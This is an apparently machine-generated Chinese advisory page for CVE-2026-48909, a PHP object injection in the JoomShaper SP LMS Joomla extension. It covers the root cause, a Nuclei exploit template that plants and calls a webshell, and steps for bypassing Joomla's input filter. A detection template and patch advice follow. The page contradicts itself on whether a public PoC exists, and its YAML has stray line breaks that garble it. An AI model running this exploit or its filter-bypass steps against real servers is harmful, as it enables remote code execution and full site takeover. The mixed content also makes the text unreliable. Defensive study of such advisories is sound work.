[webapps] Joomla Extension 4.1.4 - PHP Object injection

CVE-2026-48909: JoomShaper SP LMS 4.1.3及以下版本中存在PHP对象注入漏洞,通过lmsOrders cookie反序列化触发Joomla gadget链,实现远程代码执行。漏洞需Joomla < 5.2.2配合使用。PoC已在GitHub公开,严重等级9.8。

CVE-2026-48909

Joomla SP LMS组件cookie反序列化导致PHP对象注入,利用Joomla gadget链实现RCE。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-48909
漏洞类型PHP对象注入
受影响版本JoomShaper SP LMS <= 4.1.3,Joomla < 5.2.2
危害等级Critical · CVSS 9.8
发布日期2026-07-06
来源Exploit-DB 原文 ↗

🔬 漏洞根因

com_splms/models/cart.php:28 对lmsOrders cookie进行unserialize(base64_decode($cookie)),未对用户输入做任何验证,导致反序列化任意PHP对象。

🎯 攻击场景

1. 攻击者构造恶意序列化payload,触发Joomla内置的FormattedtextLogger->__destruct() gadget;2. 该gadget调用File::write($path, $format)将webshell写入指定web目录;3. 访问webshell文件执行系统命令,完成RCE。成功标志:可执行任意命令。

💥 漏洞影响

攻击者可在目标服务器上执行任意PHP代码,完全控制服务器,导致数据泄露、权限提升、webshell持久化等严重危害。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-48909-exploit

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection RCE
  author: yours
  severity: critical
  description: Exploits PHP Object Injection via lmsOrders cookie to write webshell and execute commands
  tags: cve,cve2026,joomla,splms,php-object-injection,rce

variables:
  shell_path: "{{shell_path}}"
  cmd: "id"

http:
  - raw:
      - |+
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Cookie: lmsOrders={{payload}}
Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 500

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

  - raw:
      - |+
        GET /{{shell_path}}?c={{cmd}}
HTTP/1.1
        Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;
x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

🔬 深度技术分析

1. build_payload: 先将webshell代码(php_code)编码为hex,构建包含fopen/fwrite的format字符串,避免特殊字符; 2. 通过填充字符调整format长度,使最终base64编码不含'/'和'+',以绕过Joomla的'cmd'输入过滤器; 3. 构造完整的FormattedtextLogger对象payload,包含路径、格式、deferredEntries等属性; 4. exploit: 向cart页面发送带有lmsOrders cookie的请求触发反序列化; 5. 等待gadget写入shell文件后,访问该文件并传递命令参数验证RCE。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-48909-detection

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection Detection
  author: yours
  severity: high
  description: Detects vulnerable versions of JoomShaper SP LMS (<= 4.1.3) for CVE-2026-48909
  tags: cve,cve2026,joomla,splms,php-object-injection,detection

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_splms&view=cart"
      - "{{BaseURL}}/index.php?option=com_splms&view=cart&format=json"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SP LMS"
          - "com_splms"
        condition: or

      - type: word
        words:
          - "lmsOrders"
        part: header

    extractors:
      - type: kval
        kval:
          - set_cookie
        part: header

🛡️ 修复建议

升级JoomShaper SP LMS到4.1.4及以上版本;升级Joomla到5.2.2及以上版本(修复FormattedtextLogger.__wakeup() gadget)。临时缓解措施:禁用com_splms组件或在WAF中拦截包含lmsOrders cookie的异常base64数据。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-07-20 08:13 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞是否需要Joomla特定版本?

需要Joomla < 5.2.2,5.2.2以上版本已修补FormattedtextLogger.__wakeup() gadget链,但反序列化点仍存在。

❓ 如何绕过Joomla的输入过滤器?

通过填充format字符串使base64编码不包含'/'和'+',并将PHP代码编码为hex避免$、_、{、}等字符。

❓ 攻击成功后的典型webshell路径是什么?

PoC中默认写入/tmp/x.php,也可指定/var/www/html/tmp/x.php、/home/USER/public_html/tmp/x.php等。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)